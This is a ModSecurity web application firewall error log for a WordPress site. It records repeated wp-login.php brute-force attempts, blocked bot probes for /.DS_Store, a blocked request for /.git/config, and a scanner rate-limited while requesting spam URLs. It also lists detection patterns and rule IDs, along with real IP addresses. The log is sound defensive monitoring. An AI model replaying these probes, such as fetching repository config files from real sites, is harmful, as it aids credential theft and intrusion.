[Sat May 02 16:36:31.837604 2026] [:error] [pid 52124:tid 52135] [client 216.24.219.25:41043] [client 216.24.219.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.25, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afW3jzjabaZ9NMm8eQt7fwAAA4Y"]
[Sat May 02 16:56:36.339687 2026] [:error] [pid 11894:tid 11909] [client 104.234.19.78:59293] [client 104.234.19.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.78, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afW8RDHh6DQF1tkXIKzEMAAAAUw"]
[Sat May 02 17:08:31.508142 2026] [:error] [pid 53436:tid 53522] [client 216.24.219.59:53445] [client 216.24.219.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.59, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afW_D69N0xp8fccVM0DDUQAAAJc"]
[Sat May 02 17:28:38.659938 2026] [:error] [pid 11894:tid 11905] [client 216.24.219.29:22301] [client 216.24.219.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.29, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXDxjHh6DQF1tkXIKzHtAAAAUg"]
[Sat May 02 17:38:35.146906 2026] [:error] [pid 51950:tid 52003] [client 170.106.192.3:51494] [client 170.106.192.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afXGG4oBJzYZ3RKUhdg52AAAAlc"]
[Sat May 02 17:40:32.944032 2026] [:error] [pid 51950:tid 52002] [client 216.24.219.40:46265] [client 216.24.219.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.40, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXGkIoBJzYZ3RKUhdg5-AAAAlY"]
[Sat May 02 18:00:35.649559 2026] [:error] [pid 52012:tid 52075] [client 216.24.219.29:21951] [client 216.24.219.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.29, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXLQ0zSWr-8cpS83mhwaAAAA0A"]
[Sat May 02 18:12:44.169037 2026] [:error] [pid 52124:tid 52148] [client 216.24.219.50:37131] [client 216.24.219.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.50, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXOHDjabaZ9NMm8eQuAywAAA5M"]
[Sat May 02 18:32:59.516141 2026] [:error] [pid 51917:tid 51925] [client 216.24.219.15:46643] [client 216.24.219.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXS267wZviJ7BgcCi9AhQAAAcY"]
[Sat May 02 18:45:00.189450 2026] [:error] [pid 53435:tid 53486] [client 104.234.19.83:64395] [client 104.234.19.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.83, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXVrIDmp7_z8QkjSzOihwAAAE4"]
[Sat May 02 19:05:14.138215 2026] [:error] [pid 53436:tid 53506] [client 216.24.219.23:26821] [client 216.24.219.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.23, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXaaq9N0xp8fccVM0DL0wAAAIc"]
[Sat May 02 19:17:16.738274 2026] [:error] [pid 52012:tid 52086] [client 104.234.19.84:42999] [client 104.234.19.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.84, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXdPEzSWr-8cpS83miJFwAAA0k"]
[Sat May 02 19:37:34.726448 2026] [:error] [pid 53435:tid 53478] [client 216.24.219.14:57223] [client 216.24.219.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXh_oDmp7_z8QkjSzOuiQAAAEY"]
[Sat May 02 19:49:44.250708 2026] [:error] [pid 52012:tid 52101] [client 104.234.19.84:40561] [client 104.234.19.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.84, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXk2EzSWr-8cpS83miUJAAAA1c"]
[Sat May 02 20:09:59.612207 2026] [:error] [pid 53435:tid 53488] [client 104.234.19.82:20059] [client 104.234.19.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.82, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXpl4Dmp7_z8QkjSzO2AQAAAFA"]
[Sat May 02 20:22:05.716878 2026] [:error] [pid 52012:tid 52093] [client 216.24.219.33:53139] [client 216.24.219.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.33, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXsbUzSWr-8cpS83mifDQAAA1A"]
[Sat May 02 20:42:23.761752 2026] [:error] [pid 52010:tid 52058] [client 104.234.19.78:27973] [client 104.234.19.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.78, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afXxLwiR6wohDtdeJMAkagAAAs8"]
[Sat May 02 20:54:41.439527 2026] [:error] [pid 51950:tid 51994] [client 216.24.219.23:45171] [client 216.24.219.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.23, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afX0EYoBJzYZ3RKUhdhZHQAAAk4"]
[Sat May 02 21:15:09.981053 2026] [:error] [pid 52010:tid 52062] [client 216.24.219.10:44853] [client 216.24.219.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afX43QiR6wohDtdeJMArAgAAAtM"]
[Sat May 02 21:17:15.267491 2026] [:error] [pid 53435:tid 53492] [client 192.159.99.21:47164] [client 192.159.99.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.vetstars.com.au"] [uri "/.DS_Store"] [unique_id "afX5W4Dmp7_z8QkjSzPGzAAAAFQ"]
[Sat May 02 21:17:29.891680 2026] [:error] [pid 52010:tid 52062] [client 109.71.252.88:40820] [client 109.71.252.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.vetstars.com.au"] [uri "/.DS_Store"] [unique_id "afX5aQiR6wohDtdeJMArmAAAAtM"]
[Sat May 02 21:17:49.905218 2026] [:error] [pid 11894:tid 11921] [client 185.220.101.101:41993] [client 185.220.101.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "afX5fTHh6DQF1tkXIKzdVwAAAVg"]
[Sat May 02 21:17:50.850189 2026] [:error] [pid 51917:tid 51940] [client 185.220.101.101:1843] [client 185.220.101.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/.DS_Store"] [unique_id "afX5fq7wZviJ7BgcCi9SIQAAAdU"]
[Sat May 02 21:23:25.213522 2026] [:error] [pid 52012:tid 52091] [client 43.153.123.3:48428] [client 43.153.123.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afX6zUzSWr-8cpS83mi0fQAAA04"]
[Sat May 02 21:27:23.678366 2026] [:error] [pid 52012:tid 52075] [client 216.24.219.45:24389] [client 216.24.219.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.45, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afX7u0zSWr-8cpS83mi16QAAA0A"]
[Sat May 02 21:34:24.733375 2026] [:error] [pid 51917:tid 51936] [client 17.241.219.58:39788] [client 17.241.219.58] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "57.141.14.11_bb694759cd2c22a01c1316c1c32e166b75850636"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/css/widget-icon-list.min.css"] [unique_id "afX9Xa7wZviJ7BgcCi9TiAAAAdE"], referer: https://vetstars.com.au/
[Sat May 02 21:48:09.069461 2026] [:error] [pid 51950:tid 51989] [client 216.24.219.40:37867] [client 216.24.219.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.40, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afYAmYoBJzYZ3RKUhdhg3wAAAkk"]
[Sat May 02 22:00:21.105562 2026] [:error] [pid 53435:tid 53483] [client 216.24.219.52:25975] [client 216.24.219.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.52, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afYDdYDmp7_z8QkjSzPQnwAAAEs"]
[Sat May 02 22:20:31.064637 2026] [:error] [pid 52012:tid 52079] [client 216.24.219.44:25737] [client 216.24.219.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.44, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afYIL0zSWr-8cpS83mjIfgAAA0I"]
[Sat May 02 22:32:41.556387 2026] [:error] [pid 52124:tid 52146] [client 216.24.219.34:40323] [client 216.24.219.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.34, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afYLCTjabaZ9NMm8eQuPMAAAA5E"]
[Sat May 02 22:53:07.047511 2026] [:error] [pid 11894:tid 11920] [client 216.24.219.57:42103] [client 216.24.219.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.57, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afYP0zHh6DQF1tkXIKzm7wAAAVc"]
[Sat May 02 23:05:15.308499 2026] [:error] [pid 51950:tid 51991] [client 216.24.219.45:40023] [client 216.24.219.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.45, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afYSq4oBJzYZ3RKUhdhvSgAAAks"]
[Sat May 02 23:25:34.878339 2026] [:error] [pid 51950:tid 51993] [client 216.24.219.48:47617] [client 216.24.219.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afYXbooBJzYZ3RKUhdhyEQAAAk0"]
[Sat May 02 23:37:41.997359 2026] [:error] [pid 53435:tid 53496] [client 216.24.219.16:54127] [client 216.24.219.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.16, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afYaRYDmp7_z8QkjSzPu4wAAAFg"]
[Sat May 02 23:58:05.454510 2026] [:error] [pid 52012:tid 52078] [client 104.234.19.78:51247] [client 104.234.19.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.78, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afYfDUzSWr-8cpS83mjxWAAAA0E"]
[Sun May 03 00:10:16.655871 2026] [:error] [pid 22846:tid 22860] [client 216.24.219.14:47669] [client 216.24.219.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afYh6Im1Ms03Mfhp3aYOPQAAAQw"]
[Sun May 03 00:14:51.352853 2026] [:error] [pid 52010:tid 52062] [client 43.165.4.2:42452] [client 43.165.4.2] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afYi-wiR6wohDtdeJMBSCAAAAtM"]
[Sun May 03 00:56:12.646780 2026] [:error] [pid 53434:tid 53455] [client 175.27.163.171:42446] [client 175.27.163.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afYsrO9BXmRQcbfsxlyx4wAAAAw"]
[Sun May 03 04:05:04.070224 2026] [:error] [pid 40732:tid 40752] [client 54.36.60.82:38022] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afZY8P1lQrIvlEdzcVfnQQAAAMg"]
[Sun May 03 04:05:06.603270 2026] [:error] [pid 40639:tid 40705] [client 54.36.60.82:59536] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afZY8q9rkyoICq7qxvFCoQAAAIQ"]
[Sun May 03 04:05:09.007505 2026] [:error] [pid 40638:tid 40683] [client 54.36.60.82:59538] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afZY9fh3VcFjJ7H1mBaNfQAAAEk"]
[Sun May 03 04:05:11.425468 2026] [:error] [pid 40639:tid 40716] [client 54.36.60.82:59560] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afZY969rkyoICq7qxvFCrQAAAI8"]
[Sun May 03 04:05:13.837482 2026] [:error] [pid 40639:tid 40718] [client 54.36.60.82:59568] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afZY-a9rkyoICq7qxvFCtgAAAJE"]
[Sun May 03 04:05:16.425666 2026] [:error] [pid 40639:tid 40722] [client 54.36.60.82:44732] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afZY_K9rkyoICq7qxvFCwgAAAJU"]
[Sun May 03 04:05:18.920831 2026] [:error] [pid 40732:tid 40749] [client 54.36.60.82:44746] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afZY_v1lQrIvlEdzcVfnXgAAAMU"]
[Sun May 03 04:05:21.501006 2026] [:error] [pid 40639:tid 40713] [client 54.36.60.82:44752] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afZZAa9rkyoICq7qxvFCywAAAIw"]
[Sun May 03 04:05:23.996060 2026] [:error] [pid 40637:tid 40661] [client 54.36.60.82:44768] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afZZA5B-U30YNJ6CyVgjtgAAAA4"]
[Sun May 03 04:05:26.452110 2026] [:error] [pid 40639:tid 40711] [client 54.36.60.82:51008] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afZZBq9rkyoICq7qxvFCzgAAAIo"]
[Sun May 03 04:05:28.942320 2026] [:error] [pid 40732:tid 40745] [client 54.36.60.82:51012] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afZZCP1lQrIvlEdzcVfnfwAAAME"]
[Sun May 03 04:05:31.478946 2026] [:error] [pid 40638:tid 40689] [client 54.36.60.82:51014] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afZZC_h3VcFjJ7H1mBaNtgAAAE8"]
[Sun May 03 04:05:33.897592 2026] [:error] [pid 40732:tid 40762] [client 54.36.60.82:51024] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afZZDf1lQrIvlEdzcVfnlAAAANI"]
[Sun May 03 04:05:36.284786 2026] [:error] [pid 40638:tid 40697] [client 54.36.60.82:37876] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "afZZEPh3VcFjJ7H1mBaNwAAAAFc"]
[Sun May 03 04:05:38.800711 2026] [:error] [pid 40732:tid 40762] [client 54.36.60.82:37886] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "afZZEv1lQrIvlEdzcVfnoQAAANI"]
[Sun May 03 04:05:41.314026 2026] [:error] [pid 40639:tid 40701] [client 54.36.60.82:37892] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "afZZFa9rkyoICq7qxvFC-AAAAIA"]
[Sun May 03 04:05:43.823736 2026] [:error] [pid 40639:tid 40712] [client 54.36.60.82:37906] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "afZZF69rkyoICq7qxvFDAAAAAIs"]
[Sun May 03 04:05:46.307761 2026] [:error] [pid 40637:tid 40647] [client 54.36.60.82:60546] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "afZZGpB-U30YNJ6CyVgj4QAAAAA"]
